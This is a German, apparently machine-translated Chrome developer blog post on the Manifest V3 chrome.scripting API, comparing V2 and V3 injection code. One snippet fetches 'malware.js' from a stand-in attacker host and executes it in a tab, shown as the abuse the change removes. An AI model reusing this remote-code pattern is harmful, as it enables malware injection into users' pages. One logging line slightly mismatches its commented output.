Jetzt neu: chrome.scripting

Manifest V3 führt eine Reihe von Änderungen an der Erweiterungsplattform von Chrome ein. In diesem Beitrag gehen wir auf die Beweggründe und Änderungen ein, die durch eine der wichtigsten Änderungen eingeführt wurden: die Einführung der chrome.scripting API.

Was ist chrome.scripting?

Wie der Name schon andeutet, ist chrome.scripting ein neuer Namespace, der in Manifest V3 eingeführt wurde und für Script- und Stilinjektionsfunktionen zuständig ist.

Entwickler, die in der Vergangenheit Chrome-Erweiterungen erstellt haben, sind möglicherweise mit Manifest V2-Methoden in der Tabs API wie chrome.tabs.executeScript und chrome.tabs.insertCSS vertraut. Mit diesen Methoden können Erweiterungen Skripts bzw. Stylesheets in Seiten einschleusen. In Manifest V3 wurden diese Funktionen in chrome.scripting verschoben und wir planen, diese API in Zukunft um einige neue Funktionen zu erweitern.

Gründe für das Erstellen einer neuen API

Nach einer solchen Veränderung stellt sich oft die Frage nach dem „Warum?“.

Einige verschiedene Faktoren haben dazu geführt, dass das Chrome-Team beschlossen hat, einen neuen Namespace für die Skripterstellung einzuführen. Erstens: Die Tabs API ist eine Art Mülleimer für Funktionen. Zweitens mussten funktionsgefährdende Änderungen an der vorhandenen executeScript API vorgenommen werden. Drittens wollten wir die Skriptfunktionen für Erweiterungen erweitern. Insgesamt wurde dadurch klar die Notwendigkeit eines neuen Namespace für Skriptfunktionen definiert.

Die Mülleimer

Eines der Probleme, die das Team für Erweiterungen in den letzten Jahren beschäftigt, ist, dass die chrome.tabs API überlastet ist. Bei der Einführung dieser API bezogen sich die meisten ihrer Funktionen auf das allgemeine Konzept eines Browsertabs. Allerdings war es damals nur eine Fülle an Features und im Laufe der Jahre ist diese Sammlung immer größer geworden.

Als Manifest V3 veröffentlicht wurde, war die Tabs API ausgewachsen. Sie umfasste jetzt die grundlegende Tabverwaltung, die Auswahlverwaltung, die Fensterorganisation, Messaging, die Zoomsteuerung, die grundlegende Navigation, die Skripterstellung und einige andere kleinere Funktionen. Auch wenn das alles wichtig ist, kann es für Entwickler am Anfang und für das Chrome-Team etwas überfordern, wenn wir die Plattform pflegen und Anfragen der Entwickler-Community berücksichtigen.

Kompliziert wird dies auch dadurch, dass die Berechtigung tabs nicht richtig verstanden wird. Während viele andere Berechtigungen den Zugriff auf eine bestimmte API einschränken (z.B. storage), ist diese Berechtigung etwas ungewöhnlich, da sie der Erweiterung nur Zugriff auf sensible Attribute auf Tab-Instanzen gewährt (und sich dadurch auch auf die Windows API auswirkt). Verständlicherweise glauben viele Erweiterungsentwickler fälschlicherweise, dass sie diese Berechtigung benötigen, um auf Methoden in der Tabs API wie chrome.tabs.create oder, besser gesagt, chrome.tabs.executeScript zuzugreifen. Durch die Funktion zum Verschieben aus der Tabs API lässt sich diese Verwirrung beseitigen.

Nicht abwärtskompatible Änderungen

Beim Entwerfen von Manifest V3 war eines der Hauptprobleme, das wir beheben wollten, Missbrauch und Malware, die durch „extern gehosteter Code“ – Code, der ausgeführt wird, aber nicht im Erweiterungspaket enthalten ist. Missbräuchliche Erweiterungsautoren führen häufig Skripts aus, die von Remote-Servern abgerufen wurden, um Nutzerdaten zu stehlen, Malware einzuschleusen und die Erkennung zu umgehen. Auch gute Schauspieler nutzen diese Fähigkeit, aber wir hielten es letztendlich für zu gefährlich, so zu bleiben, wie es war.

Erweiterungen können entbündelten Code auf verschiedene Arten ausführen. Hier ist die Manifest V2-Methode chrome.tabs.executeScript. Mit dieser Methode kann eine Erweiterung einen beliebigen Codestring auf einem Ziel-Tab ausführen. Dies bedeutet wiederum, dass ein böswilliger Entwickler ein beliebiges Skript von einem Remote-Server abrufen und auf jeder Seite ausführen kann, auf die die Erweiterung zugreifen kann. Wir wussten, dass wir diese Funktion entfernen mussten, wenn wir das Problem mit dem Remote-Code angehen wollten.

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

Außerdem wollten wir einige andere, subtilere Probleme mit dem Design der Manifest V2-Version beheben und die API zu einem ausgefeilteren und vorhersehbaren Tool machen.

Wir hätten die Signatur dieser Methode zwar in der Tabs API ändern können, aber wir waren der Meinung, dass zwischen diesen funktionsgefährdenden Änderungen und der Einführung neuer Funktionen (die im nächsten Abschnitt beschrieben werden) eine saubere Pause für alle einfacher wäre.

Erweiterung der Skriptfunktionen

Ein weiterer Aspekt, der in den Manifest V3-Designprozess eingeflossen ist, war der Wunsch, zusätzliche Skriptfunktionen auf der Erweiterungsplattform von Chrome einzuführen. Insbesondere wollten wir Skripts für dynamische Inhalte unterstützen und die Möglichkeiten der Methode executeScript erweitern.

Die Unterstützung von Skripts für dynamische Inhalte wird schon lange in Chromium angefragt. Mittlerweile können mit den Chrome-Erweiterungen Manifest V2 und V3 nur Inhaltsskripte in ihrer manifest.json-Datei statisch deklariert werden. Die Plattform bietet keine Möglichkeit, neue Inhaltsskripte zu registrieren, die Registrierung von Inhaltsskripten zu optimieren oder die Registrierung von Inhaltsskripts während der Laufzeit aufzuheben.

Uns war zwar klar, dass wir dieser Funktionsanfrage in Manifest V3 nachgehen wollten, aber keine unserer bestehenden APIs fühlte sich wie das richtige Zuhause an. Wir haben auch über eine Anpassung an die Content Scripts API in Firefox gesprochen, haben jedoch schon sehr früh einige große Nachteile dieses Ansatzes festgestellt. Als Erstes war uns klar, dass inkompatible Signaturen vorhanden sind, z.B. weil die Unterstützung für das Attribut code eingestellt wurde. Zweitens gab es für unsere API andere Designeinschränkungen, z.B. die Notwendigkeit einer Registrierung, die über die Lebensdauer eines Service Workers hinaus bestehen bleibt. Schließlich würde sich dieser Namespace auch auf die Content-Script-Funktionalität beschränken, bei der wir die Skripterstellung in Erweiterungen allgemeiner erwägen.

Im Hinblick auf executeScript wollten wir außerdem die Möglichkeiten dieser API über die von der Tabs API unterstützte Version hinaus erweitern. Genauer gesagt möchten wir Funktionen und Argumente unterstützen, das Targeting auf bestimmte Frames vereinfachen und auf Nicht-Tab-Kontexte ausrichten.

Künftig erwägen wir auch, wie Erweiterungen mit installierten PWAs und anderen Kontexten interagieren können, die sich nicht konzeptionell als Tabs zuordnen lassen.

Wechsel zwischen Tabs.executeScript und scripting.executeScript

Im weiteren Verlauf dieses Beitrags möchte ich die Gemeinsamkeiten und Unterschiede zwischen chrome.tabs.executeScript und chrome.scripting.executeScript näher betrachten.

Funktion mit Argumenten einfügen

Wir haben uns schon einmal Gedanken darüber gemacht, wie sich die Plattform angesichts von Einschränkungen für den remote gehosteten Code weiterentwickeln muss. Gleichzeitig wollten wir ein Gleichgewicht zwischen der ungenutzten Leistung der Ausführung von beliebigem Code und dem ausschließlichen Zulassen von Skripts mit statischen Inhalten finden. Als Lösung wollten wir Erweiterungen ermöglichen, eine Funktion als Inhaltsskript einzuschleusen und ein Array von Werten als Argumente zu übergeben.

Sehen wir uns kurz ein (vereinfachtes) Beispiel an. Angenommen, wir möchten ein Skript einschleusen, das den Nutzer namentlich begrüßt, wenn der Nutzer auf die Aktionsschaltfläche der Erweiterung (Symbol in der Symbolleiste) klickt. In Manifest V2 könnten wir einen Codestring dynamisch erstellen und dieses Skript auf der aktuellen Seite ausführen.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

Manifest V3-Erweiterungen können keinen Code verwenden, der nicht mit der Erweiterung gebündelt ist. Unser Ziel war es jedoch, einen Teil der Dynamik beizubehalten, die durch willkürliche Codeblocks für Manifest V2-Erweiterungen aktiviert wird. Der Ansatz „Funktion und Argumente“ ermöglicht es Prüfern, Nutzern und anderen Interessenten im Chrome Web Store, die Risiken einer Erweiterung genauer einzuschätzen. Gleichzeitig haben Entwickler die Möglichkeit, das Laufzeitverhalten einer Erweiterung basierend auf Nutzereinstellungen oder Anwendungsstatus zu ändern.

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

Targeting-Frames

Außerdem wollten wir die Interaktion von Entwicklern mit Frames in der überarbeiteten API verbessern. Mit Manifest V2 von executeScript konnten Entwickler entweder ein Targeting auf alle Frames in einem Tab oder einen bestimmten Frame auf dem Tab vornehmen. Mit chrome.webNavigation.getAllFrames können Sie eine Liste aller Frames in einem Tab abrufen.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

In Manifest V3 haben wir die optionale Ganzzahleigenschaft frameId im Optionsobjekt durch ein optionales frameIds-Array mit Ganzzahlen ersetzt. Dadurch können Entwickler mehrere Frames in einem einzigen API-Aufruf ausrichten.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

Ergebnisse der Skripteinschleusung

Wir haben auch die Rückgabe von Script-Injection-Ergebnissen in Manifest V3 verbessert. Ein „Ergebnis“ ist im Grunde die letzte Anweisung, die in einem Skript ausgewertet wird. Stellen Sie sich den Wert wie den Wert vor, der zurückgegeben wird, wenn Sie eval() aufrufen oder einen Codeblock in der Konsole der Chrome-Entwicklertools ausführen, der jedoch serialisiert ist, um Ergebnisse zwischen Prozessen zu übergeben.

In Manifest V2 würden executeScript und insertCSS ein Array mit einfachen Ausführungsergebnissen zurückgeben. Dies ist in Ordnung, wenn Sie nur einen einzigen Injection-Point haben. Die Ergebnisreihenfolge ist jedoch nicht garantiert, wenn die Injektion in mehrere Frames erfolgt. Daher lässt sich nicht feststellen, welches Ergebnis welchem Frame zugeordnet ist.

Ein konkretes Beispiel schauen wir uns die results-Arrays an, die von Manifest V2 und einer Manifest V3-Version derselben Erweiterung zurückgegeben werden. Beide Versionen der Erweiterung schleusen dasselbe Inhaltsskript ein und wir vergleichen die Ergebnisse auf derselben Demoseite.

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

Wenn wir die Manifest V2-Version ausführen, erhalten wir ein Array von [1, 0, 5]. Welches Ergebnis entspricht dem Hauptframe und welches Ergebnis für den iFrame? Der Rückgabewert sagt uns nichts aus, daher können wir nicht sicher sein.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

In Manifest V3 enthält results jetzt ein Array von Ergebnisobjekten anstelle eines Arrays nur der Bewertungsergebnisse. Die Ergebnisobjekte identifizieren eindeutig die ID des Frames für jedes Ergebnis. Dies erleichtert es Entwicklern, das Ergebnis viel einfacher zu nutzen und Maßnahmen für einen bestimmten Frame zu ergreifen.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

Zusammenfassung

Positive Auswirkungen auf Manifestversionen bieten die seltene Gelegenheit, Erweiterungs-APIs zu überdenken und zu modernisieren. Mit Manifest V3 möchten wir die Nutzerfreundlichkeit verbessern, indem wir Erweiterungen sicherer machen und gleichzeitig die Nutzerfreundlichkeit für Entwickler verbessern. Durch die Einführung von chrome.scripting in Manifest V3 konnten wir die Tabs API bereinigen, executeScript als sicherere Erweiterungsplattform neu definieren und den Grundstein für neue Skriptfunktionen legen, die noch in diesem Jahr verfügbar sein werden.